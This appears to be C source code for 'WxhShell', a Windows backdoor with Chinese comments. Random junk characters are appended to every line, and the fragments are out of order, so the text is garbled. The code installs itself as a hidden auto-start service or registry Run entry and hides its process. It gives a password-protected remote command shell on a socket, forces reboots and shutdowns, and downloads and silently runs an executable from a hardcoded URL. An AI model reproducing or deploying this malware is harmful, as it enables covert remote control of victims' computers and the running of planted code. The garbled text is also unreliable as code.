    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tcI*a>  
    if(Boot(SHUTDOWN)) (?c"$|^J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rhs/3O8k  
    else { 7n<{tM  
    closesocket(wsh); UI0VtR]   
    ExitThread(0); +O{*M9 B  
    } Zu[su>\  
    break; 6nvz8f3*r]  
    } Yj49t_$b  
  // 获取shell wn%A4-%{  
  case 's': { p6V0`5@t  
    CmdShell(wsh); $6 f3F?y7  
    closesocket(wsh); ^ZcGY+/~  
    ExitThread(0); {!L~@r  
    break; /([kh~a  
  } ;)*eo_tQ  
  // 退出 %tGO?JMkd  
  case 'x': { Bwxd&;E  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \R_C&=  
    CloseIt(wsh); Ti5-6%~&  
    break; _G@GpkSe>  
    } ZY+qA  
  // 离开 ;A*]l' [-  
  case 'q': { oMa6(3T?E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); XRi8Gpg  
    closesocket(wsh); m:2^= l4  
    WSACleanup(); NXrlk  
    exit(1); 7?_CcRe  
    break; L="}E rmK  
        } $U~]=.n  
  } )Aqtew+A&  
  } h2R::/2.  
7{*>agQh  
  // 提示信息 gM:".Ee  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (\x]YMLH  
} wIt}dc  
  } Fx.=#bVX7  
Dp9+HA9t  
  return; (!WD1w   
} nNn :-  
kffcm/  
// shell模块句柄 ~]2K ^bh8&  
int CmdShell(SOCKET sock) + ePS14G  
{ )SGq[B6@I  
STARTUPINFO si; {`@G+JV~Jw  
ZeroMemory(&si,sizeof(si)); 4kx N<]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /\n- P'}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 'H;*W|:-]  
PROCESS_INFORMATION ProcessInfo; iH@UTE;  
char cmdline[]="cmd"; L!xi  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ' `Hr}  
  return 0; i XjM.G  
} ?Ir:g=RP*  
#ABZ&Z  
// 自身启动模式 tR$NRMZ.  
int StartFromService(void) i/Zd8+.n$  
{ -iZ`Y?  
typedef struct 3Y$GsN4ln  
{ Q$"D]!G  
  DWORD ExitStatus; FYQS)s  
  DWORD PebBaseAddress; ;2QP7PrSY  
  DWORD AffinityMask; T>W,'H  
  DWORD BasePriority; ]Y&VT7+Z  
  ULONG UniqueProcessId; ;$g?T~v7  
  ULONG InheritedFromUniqueProcessId; @r1_U,0e  
}   PROCESS_BASIC_INFORMATION; f/?P514h  
r~['VhI!;E  
PROCNTQSIP NtQueryInformationProcess; ECmW`#Otb)  
Z% UP6%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,ig/s2ZG6X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $XH^~i;  
Eu3E-K@y  
  HANDLE             hProcess; ");a3hD  
  PROCESS_BASIC_INFORMATION pbi; `R^gU]Z,  
$6IJ P\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); VIf.q)_k  
  if(NULL == hInst ) return 0; iy.\=Cs$N  
&rR2,3r=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N;%6:I./  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f$QNg0v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v3>UV8c'  
JucY[`|JV  
  if (!NtQueryInformationProcess) return 0; om>KU$g  
8&dF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <#4h}_xA%  
  if(!hProcess) return 0; HZZn'u  
w0unS`\4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $*m-R*kt  
YS_; OFsd  
  CloseHandle(hProcess); ^iYj[~  
Wd ELV3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); COlaD"Y  
if(hProcess==NULL) return 0; Z;"vW!%d  
f|(M.U-  
HMODULE hMod; 6Kz,{F@  
char procName[255]; x,' !gT:j  
unsigned long cbNeeded; \~wMfP8  
d0> zS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9lE_nc  
>yDZw!C  
  CloseHandle(hProcess); />>\IR  
_)-o1`*-  
if(strstr(procName,"services")) return 1; // 以服务启动 mX|ojZ  
7{Wny&[0  
  return 0; // 注册表启动 dAj$1Ke  
} ]]yO1x$Kk  
I%Z  
// 主模块 Dvln/SBk  
int StartWxhshell(LPSTR lpCmdLine) e+K^A q  
{ BJ(M2|VH  
  SOCKET wsl; 08{@rOr  
BOOL val=TRUE; Etm?'  
  int port=0; g9F?z2^  
  struct sockaddr_in door; #`s"WnP9'!  
poFg 1  
  if(wscfg.ws_autoins) Install(); ybUaTD@?}b  
N{>n$ v}  
port=atoi(lpCmdLine); > Nr#O  
#X"@<l4F  
if(port<=0) port=wscfg.ws_port; kG*~ |ma  
fF kj+  
  WSADATA data; BDVtSs<7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8dhUBJ0_  
v &+R^iLE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i}?>g-(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QmIBaMI#  
  door.sin_family = AF_INET; Z?z.?a r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ? =+WRjF  
  door.sin_port = htons(port); 9cm#56  
I2Yz#V<%ru  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z/J y'$x  
closesocket(wsl); #$y?v%^  
return 1; T[A 69O]v  
} :~^ (g$Z  
WX0tgXl  
  if(listen(wsl,2) == INVALID_SOCKET) { Z%\,w(o[h  
closesocket(wsl); #LOwGJ$yVz  
return 1; 40 0#v|b  
} v.5+7,4  
  Wxhshell(wsl); YK~%xo  
  WSACleanup(); 4X|zmr:A  
SX-iAS[<  
return 0; T]p-0?=4vv  
uW3!Yg@  
} WjqO@]P6  
v*yuE5{  
// 以NT服务方式启动 |zE'd!7E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sp`Dvqx0  
{ " 2Dngw  
DWORD   status = 0; 8Q+36!  
  DWORD   specificError = 0xfffffff; -Y;3I00(  
VLN_w$iEq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Xn\jO>[Ef  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #R RRu2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7=, ;h  
  serviceStatus.dwWin32ExitCode     = 0; N17RLz *\  
  serviceStatus.dwServiceSpecificExitCode = 0; & ZB  
  serviceStatus.dwCheckPoint       = 0; s"?3]P  
  serviceStatus.dwWaitHint       = 0; b>9>uC@J15  
=mmWl9'mJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,6W>can  
  if (hServiceStatusHandle==0) return; HUOj0T  
B?o7e<l[  
status = GetLastError(); #cLBQJq  
  if (status!=NO_ERROR) BFW&2  
{ +d-NL?c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yR.Ong  
    serviceStatus.dwCheckPoint       = 0; L4?IHNB  
    serviceStatus.dwWaitHint       = 0; H 7 ^/q7  
    serviceStatus.dwWin32ExitCode     = status; D|#E9OQzs  
    serviceStatus.dwServiceSpecificExitCode = specificError; o%*xvH*A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6\S~P/PkE  
    return; Pr,q*_Yy  
  } *HB-QIl  
#LN`X8Wz'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3DG_QVg^v  
  serviceStatus.dwCheckPoint       = 0; .w ,q0<}  
  serviceStatus.dwWaitHint       = 0; ?[>3QE  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9Lfv^V0  
} 5nVt[Puw  
'$QB$2~V  
// 处理NT服务事件,比如:启动、停止 G9@0@2aY8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mlS$>O_aX  
{ ?b5 ^  
switch(fdwControl) !$>R j  
{ Nl(Foya%)  
case SERVICE_CONTROL_STOP: eKqk= (  
  serviceStatus.dwWin32ExitCode = 0; EAby?51+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; F1Bq$*'N$w  
  serviceStatus.dwCheckPoint   = 0; y L~W.H  
  serviceStatus.dwWaitHint     = 0; d8x;~RA  
  { ?@ $r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `pZm?}K  
  } fLAw12;^  
  return; ;P&OX5~V  
case SERVICE_CONTROL_PAUSE: N$:8 ,9.z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w"&n?L  
  break; eGbG w  
case SERVICE_CONTROL_CONTINUE: @gXx1hEg  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b*Q&CL  
  break; GNJj=1Lsd  
case SERVICE_CONTROL_INTERROGATE: R_S.tT!  
  break; ]:/Q]n^  
}; lCHO;7YHX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *s iFj CN<  
} -+-_I*(  
ges J/I  
// 标准应用程序主函数 &XUiKnNW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tIS<U(N ;  
{ QnX(V[  
*EwR!L*  
// 获取操作系统版本 0S$N05  
OsIsNt=GetOsVer(); VTHH&$ZNq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s=/v';5J2!  
57'4ljvYi  
  // 从命令行安装 2jCfT>`3  
  if(strpbrk(lpCmdLine,"iI")) Install(); KdbHyg<4  
H~z`]5CN  
  // 下载执行文件 PRE|+=w$  
if(wscfg.ws_downexe) { VBcPu  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {U !g.rh  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1D!<'`)AY  
} Z>#i**  
{3vNPQJ  
if(!OsIsNt) { fL7xq$K  
// 如果时win9x,隐藏进程并且设置为注册表启动 0%I=d  
HideProc(); @>H75  
StartWxhshell(lpCmdLine); D*|Bb?  
} 4x[S\,20  
else 07=mj%yV  
  if(StartFromService()) t}/( b/VD  
  // 以服务方式启动 2P{Gxz<#  
  StartServiceCtrlDispatcher(DispatchTable); [Cv/{f3]u{  
else I?G :p+  
  // 普通方式启动 r1RM  
  StartWxhshell(lpCmdLine); 5bpEYW+  
R<N ]B  
return 0; |*tp16+6  
} k~ /Nv=D  
Aj]V`B:65  
FH+s s!  
\v)+.m?n  
=========================================== gCY';\f!  
"kgdbAZ  
[QT#Yf0  
TBU&6M>{3  
I`4*+a'q&  
q{;:SgZ  
" Nf1-!u7  
k7usMVAA  
#include <stdio.h> a-L;*  
#include <string.h> SS.dY""89  
#include <windows.h> UFb )AnK  
#include <winsock2.h> / FEVmH?  
#include <winsvc.h> L8#5*8W6  
#include <urlmon.h> OX\F~+  
;q6Ki.D  
#pragma comment (lib, "Ws2_32.lib") "C0Q(dr/n  
#pragma comment (lib, "urlmon.lib") b(O3@Q6[  
P3 ^Y"Pv?  
#define MAX_USER   100 // 最大客户端连接数 w}cPs{Vi"  
#define BUF_SOCK   200 // sock buffer j]/RC(;?  
#define KEY_BUFF   255 // 输入 buffer fMyti$1~  
oIj#>1~c%  
#define REBOOT     0   // 重启 ]}2ZttQ?  
#define SHUTDOWN   1   // 关机 QWHug:c  
3"KCh\\b  
#define DEF_PORT   5000 // 监听端口 n t7.?$  
"vE4E|  
#define REG_LEN     16   // 注册表键长度 E\pL!c  
#define SVC_LEN     80   // NT服务名长度 :${HQd+  
zu|\fP  
// 从dll定义API 2WxQ(:d=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X1vd'>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HJYScwjQ;`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]1pIj i[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3fQuoQuD"}  
Dy8r 9  
// wxhshell配置信息 cY.bO/&l  
struct WSCFG { agW@ {c  
  int ws_port;         // 监听端口 ysf~|r4s  
  char ws_passstr[REG_LEN]; // 口令 W'+:'_{j:  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2Dj%,gaR  
  char ws_regname[REG_LEN]; // 注册表键名 :@A9](gI  
  char ws_svcname[REG_LEN]; // 服务名 _8UDT^?8,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u.Tcg^v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v^iL5y!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]G< Vg5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a]tVd#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Px`!A EFd[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q9G;V]./  
xLH)P<^`C  
}; CooQ>f  
Y,t={HiclX  
// default Wxhshell configuration ,0HRAmG  
struct WSCFG wscfg={DEF_PORT, F,)%?<!I  
    "xuhuanlingzhe", j*TYoH1  
    1, __GqQUQ  
    "Wxhshell", VUR|OV%  
    "Wxhshell", * U=s\  
            "WxhShell Service", pYZ6e_j1 ~  
    "Wrsky Windows CmdShell Service", 'o>B'$  
    "Please Input Your Password: ", -"60d @.  
  1, =CVBBuVy  
  "http://www.wrsky.com/wxhshell.exe", }"!I[Ek> y  
  "Wxhshell.exe" q\p:X"j|  
    }; tQYM&6g  
+@k+2?] FO  
// 消息定义模块 RcU}}V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ' x35=@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !s?nJ(p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; I( 7NQ8H x  
char *msg_ws_ext="\n\rExit."; VYImI>.t{  
char *msg_ws_end="\n\rQuit."; mg.kr:  
char *msg_ws_boot="\n\rReboot..."; en*GM}<V  
char *msg_ws_poff="\n\rShutdown..."; /F'sb[  
char *msg_ws_down="\n\rSave to "; 4s{~r  
(uZ&V7l  
char *msg_ws_err="\n\rErr!"; wLJ:\_Jaf  
char *msg_ws_ok="\n\rOK!"; HqD^B[ jS  
Pax|x15  
char ExeFile[MAX_PATH]; MC:@U~}6  
int nUser = 0; rJbf_]^  
HANDLE handles[MAX_USER]; !"/n/jz  
int OsIsNt; >!bJslWA  
0+;bh {Eu  
SERVICE_STATUS       serviceStatus;  >DZw  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k:F9. j%*  
kH7(@Pa  
// 函数声明 3e;^/kf<9  
int Install(void); =wOm}V8 N&  
int Uninstall(void); OGg>#vj,s  
int DownloadFile(char *sURL, SOCKET wsh); po Vx8oO8  
int Boot(int flag); bU:EqW\(^  
void HideProc(void); -^h' >.  
int GetOsVer(void); fnX`Q[b4\A  
int Wxhshell(SOCKET wsl); T1Z;r*}  
void TalkWithClient(void *cs); ={d>iB yq  
int CmdShell(SOCKET sock); O5kz5b> Z  
int StartFromService(void); v8[I 8{41  
int StartWxhshell(LPSTR lpCmdLine); usK*s$ns  
sAS:-wp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); RA'M8:$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $jI3VB  
>$7v ;Q  
// 数据结构和表定义 f"SD/]q-  
SERVICE_TABLE_ENTRY DispatchTable[] = Xi,CV[L\  
{ ^c4@(]v'G  
{wscfg.ws_svcname, NTServiceMain}, :^WKT  
{NULL, NULL} BB*f4z$Y%  
}; ~8P!XAU56%  
VZymM<O  
// 自我安装 y8!4q  
int Install(void) p,>5\Zre~  
{ L`p4->C9A  
  char svExeFile[MAX_PATH]; D rHV G  
  HKEY key; a>]uU*Xm  
  strcpy(svExeFile,ExeFile); vMt/u?oB  
[~#WG/!:  
// 如果是win9x系统,修改注册表设为自启动 _R13f@NWB:  
if(!OsIsNt) { fS[,vPl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kG@@ot" n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *|>d  
  RegCloseKey(key); dDGgvi|[Mz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jW3!6*93  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xr$J9*Jk-  
  RegCloseKey(key); eWtZ]kB  
  return 0; -vR5BMy=  
    } '\ey<}?5V  
  } B9$jSD  
} lpeEpI/gM  
else { }v*G_}^  
,t9^j3Ixg  
// 如果是NT以上系统,安装为系统服务 y 4I6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :'3XAntZA  
if (schSCManager!=0) X=!^] 3zH  
{ G{ sOR  
  SC_HANDLE schService = CreateService vss(twg  
  ( : $Y9jR  
  schSCManager, E2@65b$  
  wscfg.ws_svcname, Q<'nE  
  wscfg.ws_svcdisp, dzsmIV+  
  SERVICE_ALL_ACCESS, m4&h>9. 8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gL[yA?GoM  
  SERVICE_AUTO_START, !GLz)#SBl  
  SERVICE_ERROR_NORMAL, ,)Ju[  
  svExeFile, 9N<<{rQ,F  
  NULL, 6)-X  
  NULL, 57zSu3v4Y  
  NULL, */|lJm'R  
  NULL, 5JCG2jqx0  
  NULL y8L D7<1u  
  ); wrbLDod /  
  if (schService!=0) Iw&vTU=2  
  { {fF3/tL  
  CloseServiceHandle(schService); k*E\B@W>  
  CloseServiceHandle(schSCManager); )- viGxJ@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 36%nB*  
  strcat(svExeFile,wscfg.ws_svcname); VsgE!/>1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qY<'<T4\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ujaG Ng?,  
  RegCloseKey(key); !2A:"2Kys:  
  return 0; +!z{5:  
    } RIXMJ7e7  
  } (m.ob+D  
  CloseServiceHandle(schSCManager); /<}m? k\  
} >.'*) @vQi  
} Nz+9 49X  
rI>aAW'  
return 1; 8lb%eb]U  
} O-cbX/d  
AW_(T\P:u  
// 自我卸载 v<OJ69J  
int Uninstall(void) ,M6 Sy]Aj  
{ #qI= Z0Y  
  HKEY key; {u\Mj  
e7(ucE  
if(!OsIsNt) { wsN?[=l{s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /VzI'^  
  RegDeleteValue(key,wscfg.ws_regname); J(%0z:exs  
  RegCloseKey(key); \"^w'ng  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =fve/_Q~  
  RegDeleteValue(key,wscfg.ws_regname); sqJSSNt  
  RegCloseKey(key); \ 3?LqJ  
  return 0; ?~;:jz|9<'  
  } ]dk8lZ;bo  
} YZ7|K<   
} 8` @G;o  
else { W4e5Rb4~f"  
!n$tr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); AvSM ^  
if (schSCManager!=0) .J.-Mm` .  
{ I1\a[Xe8E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T ;vF(  
  if (schService!=0) GXjfQ~<]  
  { Nwt" \3  
  if(DeleteService(schService)!=0) { Bj}^\Pc;}  
  CloseServiceHandle(schService); {>,V\J0p  
  CloseServiceHandle(schSCManager); + 33@?fl.  
  return 0; %Gj8F4{  
  } '|*?*6q  
  CloseServiceHandle(schService); Yd=a}T  
  } 9^Whg ~{  
  CloseServiceHandle(schSCManager); k^%B5  
} )m{Ye0!RD  
} AUNQA  
$m+sNEAa  
return 1; UIAj]  
} S_v'hlrrT  
9Xl5@%uz?z  
// 从指定url下载文件 & jczO-R^  
int DownloadFile(char *sURL, SOCKET wsh) +|@rD/I6  
{ _5m#2u51i  
  HRESULT hr; w'fT=v)  
char seps[]= "/"; DUe&r,(4O  
char *token; ~L_hZso4  
char *file; ;3@YZM'wt  
char myURL[MAX_PATH]; CQr<N w  
char myFILE[MAX_PATH]; $w0lrh[+  
YJ/zU52JK~  
strcpy(myURL,sURL); oY|,GvCnK  
  token=strtok(myURL,seps); f7~9|w&  
  while(token!=NULL) s^|.Zr;,>  
  { ^Q ps> A(  
    file=token; Cc<,z*T  
  token=strtok(NULL,seps); d,tU#N{Q6  
  } mBJeqG  
HU-QDp%*r7  
GetCurrentDirectory(MAX_PATH,myFILE); -zO2|@S,  
strcat(myFILE, "\\"); 'vq:D$A  
strcat(myFILE, file); /`;n@0k>2  
  send(wsh,myFILE,strlen(myFILE),0); rs*Fy@  
send(wsh,"...",3,0); K ryo}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZA9sTc[ g  
  if(hr==S_OK) )d-.M  
return 0; O Xi@c;F  
else sf|ke9-3  
return 1; ZP$-uaa-  
#gaQaUjR  
} -0Tnh;&=  
nG, U>)  
// 系统电源模块 +|{RE.DL  
int Boot(int flag) f%)zg(YlO  
{ $GQ-(/  
  HANDLE hToken; KdUnD4d  
  TOKEN_PRIVILEGES tkp; -:9P%jWt  
ww{_c]My  
  if(OsIsNt) { W$o2 7f  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P^Q[-e{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j:&4-K};Z`  
    tkp.PrivilegeCount = 1; d:q +  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;HBC Ue<_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j0GMTri3  
if(flag==REBOOT) { pdb1GDl0q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CGP3qHrXt  
  return 0; %?hsoj&k  
} m8JR@!t7  
else { (j"(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Rek -`ki5F  
  return 0; 0\~Z5k`IT  
} q )lnS )  
  } Op? OruT[  
  else { $1zvgep  
if(flag==REBOOT) { Lru-u:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BH@)QVs-  
  return 0; qr50E[  
} X$b={]b  
else { xwZ8D<e-,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Yy JPHw)Z  
  return 0; $BDBN_p  
} $W42vjr4  
} BtdXv4V  
sz):oea@f@  
return 1; 4Kv[e]10(  
} F;!2(sPS  
L]hXp t  
// win9x进程隐藏模块 W*:,m8wk  
void HideProc(void) tPyyZ#,  
{ desThnT w  
 /n^c>)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); sNHSr  
  if ( hKernel != NULL ) =AEz9d ciS  
  { eL.7#SIr}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NO K/<_/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HFQR ;9]  
    FreeLibrary(hKernel); rJ'I>Q~x6  
  } O^I[ (8Y8  
}2r+%V&4  
return;  5q<zN  
} geefnb  
a>B[5I5  
// 获取操作系统版本 xg{HQQ|TC  
int GetOsVer(void) j?|* LT$%7  
{ hc$@J}`  
  OSVERSIONINFO winfo; ~Z lC '  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0ZPV' `KGp  
  GetVersionEx(&winfo); 9kY[j2,+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8g7,2f/ }  
  return 1; kK~IwA  
  else ?vGf fMm  
  return 0; do>"[RO  
} ?68uS;  
:Ze+%d=  
// 客户端句柄模块 QldzQ%4c\  
int Wxhshell(SOCKET wsl) d( *fy}  
{ W {.78Zi9K  
  SOCKET wsh; hvt@XZT  
  struct sockaddr_in client; ? {F{;r  
  DWORD myID; 6vf\R*D|A  
*NSlo^R-[  
  while(nUser<MAX_USER) pY^9l3y^  
{ l t]B#, '  
  int nSize=sizeof(client); }GnwY97  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gCVryB@z2  
  if(wsh==INVALID_SOCKET) return 1; Y"e EkT\  
]yX@'f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D;F{1[s(  
if(handles[nUser]==0) #S+Z$DQD  
  closesocket(wsh); L8vOBI7N  
else -#A:`/22  
  nUser++; c;I, O  
  } P8gX CX!>U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gKb0)4 AK  
88a<{5 :z  
  return 0; e}cnX`B  
} xQlT%X;'  
H.J5i~s  
// 关闭 socket ?&h3P8  
void CloseIt(SOCKET wsh) =ziy`#fm,  
{ Oz:ZQ M  
closesocket(wsh); yNJAWM7  
nUser--; a~^Srj!}x  
ExitThread(0); =O{~Q3z@s  
} X`\:_|  
9g?xlue#?  
// 客户端请求句柄 %W|DJ\l8"  
void TalkWithClient(void *cs) Dd2Lx&9  
{ m<3v)R[>  
/k7wwZiY@  
  SOCKET wsh=(SOCKET)cs;  i j&p4  
  char pwd[SVC_LEN]; tnW;E\cR  
  char cmd[KEY_BUFF]; 2neRJ  
char chr[1]; %XXkVK`  
int i,j; O rk  
1 2]fQkp  
  while (nUser < MAX_USER) { [7"}=9  
{.#zHL ;  
if(wscfg.ws_passstr) { ZZ A.a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i@<~"~>]7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /?zW<QUI  
  //ZeroMemory(pwd,KEY_BUFF); j+748QAhh  
      i=0; O5 7jz= r  
  while(i<SVC_LEN) { K ar~I  
j=.g :&r)  
  // 设置超时 iWXMKu  
  fd_set FdRead; v`G U09   
  struct timeval TimeOut; #cEq_[yI  
  FD_ZERO(&FdRead); sdF3cX  
  FD_SET(wsh,&FdRead); 2Yyb#Ow  
  TimeOut.tv_sec=8; WhUa^  
  TimeOut.tv_usec=0;  "jU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d7bjbJwu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); = ?N^>zie  
D$_8rHc\A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &R\XUxI  
  pwd=chr[0]; 6hbEO-(  
  if(chr[0]==0xd || chr[0]==0xa) { C"T ,MH  
  pwd=0; ?2~U2Ir]:  
  break; 8SD}nFQ  
  } =O^7TrM  
  i++; R/N<0!HZ  
    } l:tpL(%  
V}`M<A6:  
  // 如果是非法用户,关闭 socket *t =i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '=%i,  
} KHJ=$5r)  
|z7dRDU}]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c=t*I0-OVS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z oTNm  
urxqek  
while(1) { !yCl(XT  
l Z~+u  
  ZeroMemory(cmd,KEY_BUFF); RUrymkHFB  
gLCz]D.'  
      // 自动支持客户端 telnet标准   $T)d!$  
  j=0; A[Cg/ +Z  
  while(j<KEY_BUFF) { .xv ^G?GG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y<ElJ>A2I  
  cmd[j]=chr[0]; u@"o[e':  
  if(chr[0]==0xa || chr[0]==0xd) { GHrBK&  
  cmd[j]=0; 'o8\`\'H!  
  break; bf^ly6ml  
  } I;iR(Hf)?q  
  j++; :A$wX$H01  
    } `hF;$  
H5^Y->  
  // 下载文件 T.euoFU{Z  
  if(strstr(cmd,"http://")) { Hrv),Ce  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,yi2O]5e>!  
  if(DownloadFile(cmd,wsh)) NQ3|\<Wt  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .??rqaZ=  
  else L(Rorf~V  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); { ;' :h  
